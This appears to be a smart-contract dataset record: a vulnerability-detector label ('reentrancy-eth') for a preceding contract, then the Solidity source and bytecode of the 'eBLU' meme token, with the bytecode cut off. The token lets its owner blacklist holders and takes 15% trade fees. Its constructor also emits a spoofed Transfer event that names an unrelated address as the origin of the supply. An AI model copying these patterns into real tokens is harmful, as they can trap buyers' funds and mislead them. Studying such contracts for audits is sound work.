bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee3cea0ffd941657137a74e8dd65412259647b376d59b877cdf034cc45b0d2eb64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,096 |
0x965d81aab6d465b0ed2c002388414d4f7f14f20c
|
/*
The Blu's are gentle giants who harness elemental
energy.
They have a fantastic ability to communicate with any humans
who hodl $eBLU.
Website: http://eblu.netlify.app
Twitter: https://twitter.com/BluEthereum
Telegram: https://t.me/EthereumBlu
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract eBLU is Context, IERC20, Ownable {
string private constant _name = "Ethereum Blu";
string private constant _symbol = "eBLU";
uint8 private constant _decimals = 9;
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 6.96e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d39565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061287f565b61045e565b6040516101789190612d1e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ebb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612830565b61048d565b6040516101e09190612d1e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127a2565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f30565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128fc565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127a2565b610783565b6040516102b19190612ebb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612c50565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d39565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061287f565b61098d565b60405161035b9190612d1e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128bb565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061294e565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127f4565b61121a565b6040516104189190612ebb565b60405180910390f35b60606040518060400160405280600c81526020017f457468657265756d20426c750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016135cb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e1b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e1b565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bfc565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e1b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f65424c5500000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e1b565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906131d1565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611c6a565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612e1b565b60405180910390fd5b601060149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612e9b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906127cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906127cb565b6040518363ffffffff1660e01b8152600401610e1f929190612c6b565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906127cb565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612cbd565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612977565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550676096e31fd4b800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612c94565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612925565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612e1b565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ddb565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611f6490919063ffffffff16565b611fdf90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161120f9190612ebb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612e7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612d9b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ebb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612d5b565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612e3b565b60405180910390fd5b6007600a819055506008600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601060179054906101000a900460ff165b15611898576011548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612ff1565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506008600b819055505b60006119ba30610783565b9050601060159054906101000a90